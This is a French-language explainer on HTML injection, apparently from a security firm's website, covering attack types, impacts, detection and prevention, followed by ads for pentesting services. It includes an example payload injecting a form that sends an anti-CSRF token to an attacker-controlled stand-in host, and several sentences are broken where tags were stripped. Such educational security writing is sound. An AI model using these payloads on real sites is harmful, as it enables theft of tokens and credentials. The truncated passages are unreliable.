Qu’est-ce que l’injection HTML ?
L’injection HTML est une vulnérabilité Web qui permet à un attaquant d’injecter du contenu HTML malveillant dans le code HTML légitime d’une application Web. Les injections HTML sont très similaires au cross-site scripting (XSS) – la livraison est exactement la même, mais le contenu injecté est de pures balises HTML, pas un script. Les injections HTML sont moins dangereuses que XSS mais peuvent toujours être utilisées à des fins malveillantes.
Gravité: | ![]() ![]() | grave dans de rares circonstances |
Prévalence: | ![]() ![]() | découvert rarement |
Portée: | ![]() ![]() ![]() ![]() | sites et applications web |
Impact technique : | HTML malveillant exécuté dans le navigateur | |
Conséquences dans le pire des cas : | violation d’informations sensibles, contrôle de l’application web | |
Solution rapide: | filtrage et encodage des entrées utilisateur |
Comment fonctionne l’injection HTML ?
Tout comme les scripts intersites, une injection HTML se produit lorsqu’un utilisateur malveillant fournit une charge utile (le plus souvent du code HTML, rarement du CSS) dans le cadre d’une entrée non fiable, et que le navigateur Web l’exécute dans le cadre du langage de balisage hypertexte du Web vulnérable. page. Les attaques par injection HTML ciblent uniquement le client et, tout comme les attaques XSS, elles affectent l’utilisateur, pas le serveur.
Il existe deux principaux types d’injection HTML : réfléchi et stocké , similaire au XSS réfléchi et au XSS stocké :
- Dans une injection HTML réfléchie, la charge utile doit être livrée à chaque utilisateur individuellement (généralement sous la forme d’un lien malveillant) et devient une partie de la requête.
- Dans une injection HTML stockée, la charge utile est stockée par le serveur Web et livrée ultérieurement, potentiellement à plusieurs utilisateurs.
La principale différence entre les injections HTML et XSS est l’étendue des capacités de l’attaquant. En raison de la nature déclarative du contenu HTML, la charge utile peut accomplir beaucoup moins que dans le cas du code JavaScript. Cela rend les injections HTML beaucoup moins susceptibles d’être utilisées pour les attaques de phishing.
Exemples d’attaques par injection HTML
Les attaquants peuvent utiliser des injections HTML à plusieurs fins. Voici quelques-unes des utilisations les plus courantes de cette technique d’attaque, ainsi que les conséquences potentielles pour la sécurité des applications Web.
Défigurer
L’utilisation la plus simple de l’injection HTML est le défigurage, c’est-à-dire la modification du contenu visible de la page. Par exemple, un attaquant peut utiliser une injection HTML stockée pour injecter une publicité visuelle d’un produit qu’il souhaite vendre. L’attaquant peut également injecter du code HTML malveillant visant à nuire à la réputation de la page, par exemple pour des raisons politiques ou personnelles.
Dans ces deux cas, le contenu injecté vise à ressembler à une partie légitime de la page HTML. Et dans les deux cas, une vulnérabilité d’injection HTML stockée devrait être exploitée par l’attaquant.
Exfiltrer les données sensibles des utilisateurs
Une autre utilisation courante de l’injection HTML consiste à créer un formulaire sur la page cible et à inciter l’utilisateur à saisir des données sensibles dans ce formulaire. Par exemple, un attaquant peut injecter un code malveillant qui affiche un faux formulaire de connexion. Les données du formulaire (login et mot de passe) seraient alors envoyées à un serveur contrôlé par l’attaquant.
Si la page Web utilise des URL relatives, l’attaquant peut également tenter d’utiliser la balise
et que la page Web utilise des URL relatives pour la soumission de formulaires, tous les formulaires seront envoyés au site example.com contrôlé par l’attaquant à la place.
L’attaquant peut également détourner des formulaires HTML valides en injectant une balise supplémentaire avant une balise légitime . Les balises de formulaire ne peuvent pas être imbriquées, la balise de niveau supérieur est donc celle qui a priorité.
Dans tous ces cas, les attaquants peuvent aussi bien utiliser l’injection HTML réfléchie que l’injection HTML stockée.
Exfiltrer des jetons anti-CSRF
Les attaquants peuvent également utiliser l’injection HTML pour exfiltrer les jetons anti-CSRF en vue d’une attaque CSRF (cross-site request forgery) ultérieure . Les jetons anti-CSRF sont généralement livrés à l’aide du type d’entrée masqué dans un formulaire.
Pour exfiltrer le jeton, un attaquant peut, par exemple, utiliser une balise non terminée avec des guillemets simples comme
<input type="hidden" name="anti_xsrf" value="eW91J3JlIGN1cmlvdXMsIGFyZW4ndCB5b3U/">
Une autre option consiste à injecter une balise . Dans ce cas, tout le contenu après la balise sera soumis, et les balises et seront implicitement fermées. Pour que cette attaque fonctionne, cependant, l’utilisateur doit être amené à soumettre le formulaire manuellement :
<form action='http://example.com/record.php?'<input type="hidden" name="anti_xsrf" value="eW91J3JlIGN1cmlvdXMsIGFyZW4ndCB5b3U/">
Exfiltrer les mots de passe stockés dans le navigateur
Les injections HTML peuvent également être utilisées par les attaquants pour insérer des formulaires qui seront automatiquement remplis par les gestionnaires de mots de passe des navigateurs. Si l’attaquant parvient à injecter un formulaire approprié, le gestionnaire de mots de passe fournira automatiquement les informations d’identification de l’utilisateur. Pour de nombreux navigateurs, le formulaire n’a besoin que des noms et de la structure de champ d’entrée appropriés, et son paramètre d’action peut pointer vers n’importe quel hôte.
Conséquences potentielles d’une attaque par injection HTML
Les vulnérabilités d’injection HTML sont généralement sous-estimées. S’il est vrai qu’elles n’affectent pas directement le serveur Web ou la base de données, les injections HTML peuvent avoir de graves conséquences telles que les suivantes :
- L’attaquant pourrait utiliser un faux formulaire pour exfiltrer les données de mot de passe stockées dans le navigateur ou inciter un utilisateur à fournir ses identifiants de connexion. Si l’utilisateur ciblé dispose de privilèges administratifs, des acteurs malveillants pourraient obtenir un accès administratif à l’application Web.
- L’attaquant pourrait gravement nuire à la réputation de votre entreprise, de votre institution ou même de votre pays en effectuant une attaque clairement visible pour le public. Si une page de grande valeur est dégradée ou utilisée pour diffuser de la désinformation, vos utilisateurs ou clients pourraient prendre de mauvaises décisions et perdre confiance dans vos pratiques de cybersécurité.
- L’attaquant pourrait utiliser l’injection HTML comme outil pour passer à d’autres attaques, telles que CSRF.
Il existe de nombreuses autres utilisations potentielles des injections HTML. Pour en savoir plus, nous vous recommandons de lire un excellent aide-mémoire de Michal Zalewski (lcamtuf ). Cependant, même les utilisations mentionnées ci-dessus devraient suffire à montrer que si l’injection HTML n’est peut-être pas aussi dangereuse que, par exemple, l’ injection SQL , vous ne devez pas ignorer ce type d’attaque.
Comment détecter les vulnérabilités d’injection HTML ?
La meilleure façon de détecter les vulnérabilités d’injection HTML varie selon qu’elles sont déjà connues ou inconnues.
- Si vous utilisez uniquement des applications Web commerciales ou open source et que vous ne développez pas vos propres applications Web, il peut suffire d’identifier la version exacte de l’application que vous utilisez. Si la version identifiée est sensible à l’injection HTML, vous pouvez supposer que votre site Web est vulnérable. Vous pouvez identifier la version manuellement ou utiliser un outil de sécurité approprié, tel qu’une solution d’analyse de la composition logicielle (SCA) .Si vous développez vos propres applications Web ou si vous souhaitez avoir la possibilité de trouver des vulnérabilités d’injection HTML jusque-là inconnues (jours zéro) dans des applications connues, vous devez être en mesure d’exploiter avec succès la vulnérabilité d’injection HTML pour être certain qu’elle existe. Cela nécessite soit d’effectuer un pentesting manuel avec l’aide de chercheurs en sécurité, soit d’utiliser un outil de test de sécurité (scanner) qui peut utiliser l’automatisation pour exploiter les vulnérabilités Web.
Comment prévenir les vulnérabilités d’injection HTML ?
Comme pour la plupart des types d’injections, empêcher les injections HTML nécessite une validation des entrées. Lorsque vous empêchez les injections HTML, vous devez suivre les mêmes principes et méthodes que pour empêcher les scripts intersites . Tout comme pour XSS, vous pouvez essayer de filtrer tout contenu HTML de l’entrée (mais rappelez-vous que de nombreuses astuces peuvent être utilisées pour échapper aux filtres ) ou vous pouvez échapper toutes les balises HTML.
Bien que la deuxième approche soit beaucoup plus efficace, elle peut être délicate à mettre en œuvre si du code HTML est autorisé dans la saisie utilisateur par conception (par exemple, pour fournir des extraits de code). Dans de tels cas, un filtrage strict des entrées basé sur des listes blanches est recommandé.
Comment atténuer les attaques par injection HTML ?
Pour atténuer temporairement les vulnérabilités d’injection HTML lorsqu’un correctif est en attente, vous pouvez utiliser les règles WAF (pare-feu d’application Web) . Avec de telles règles, les utilisateurs ne pourront pas fournir d’entrées malveillantes à votre application Web, de sorte qu’aucun code HTML malveillant ne s’exécutera dans leurs navigateurs. Cependant, étant donné que les pare-feu d’applications Web ne comprennent pas le contexte de votre application, ces règles peuvent être contournées par des attaquants et ne doivent jamais être traitées comme une solution permanente.
Une poignée d’attaques par injection HTML, telles que l’ injection HTML de la balise
Dans une attaque par injection HTML, un attaquant injecte du code HTML malveillant dans le code HTML légitime d’une application Web. Les injections HTML sont très similaires au cross-site scripting (XSS) – la livraison est exactement la même, mais le contenu injecté est de pures balises HTML
Les vulnérabilités d’injection HTML sont généralement sous-estimées. S’il est vrai qu’elles n’affectent pas directement le serveur Web ou la base de données, les injections HTML peuvent avoir de graves conséquences telles que l’exfiltration de mots de passe, des atteintes à la réputation ou des attaques CSRF.
La prévention des injections HTML nécessite une validation des entrées. Lorsque vous empêchez les injections HTML, vous devez suivre les mêmes principes et méthodes que pour empêcher les scripts intersites.
Classification | IDENTIFIANT |
---|---|
CAPEC | 18/148 |
CWE | 79 |
WASC | 12/22 |
OWASP 2021 | A3 |
Nos Services en Cybersécurité
Protégez-vous maintenant !
Forfait Évaluation de la surface d’attaque
La cible de cette évaluation de la surface d’attaque est les ressources réseau, les systèmes et les terminaux. Il n’y a pas de ciblage des membres ou des employés des organisations à des fins d’ingénierie sociale.
Forfait Évaluation de la vulnérabilité
Nous sommes en mesure de fournir des évaluations de vulnérabilité des applications web , des serveurs connectés à Internet et des gammes de réseaux connectés à Internet .
Analyse de vulnérabilité
Cycuri propose des analyses de vulnérabilité ponctuelles ou régulières de votre périmètre externe, de vos applications Web ou de votre réseau interne.
Forfait Évaluation WordPress
Nos services d’évaluation WordPress professionnelle sont populaires auprès de tous ceux qui souhaitent un examen par un tiers indépendant de leur posture de sécurité.
Test d’intrusion d’application Web
Que votre application Web soit destinée aux employés, B2B ou B2C, il existe un niveau de confiance inhérent qui est supposé lorsque les utilisateurs sont autorisés à entrer, naviguer et utiliser des applications et/ou des portails d’applications.
Test d’intrusion Black-Box externe
Un test d’intrusion externe Black-Box imite les actions d’un adversaire réel en tentant d’exploiter les faiblesses de la sécurité du réseau sans les dangers d’une menace réelle.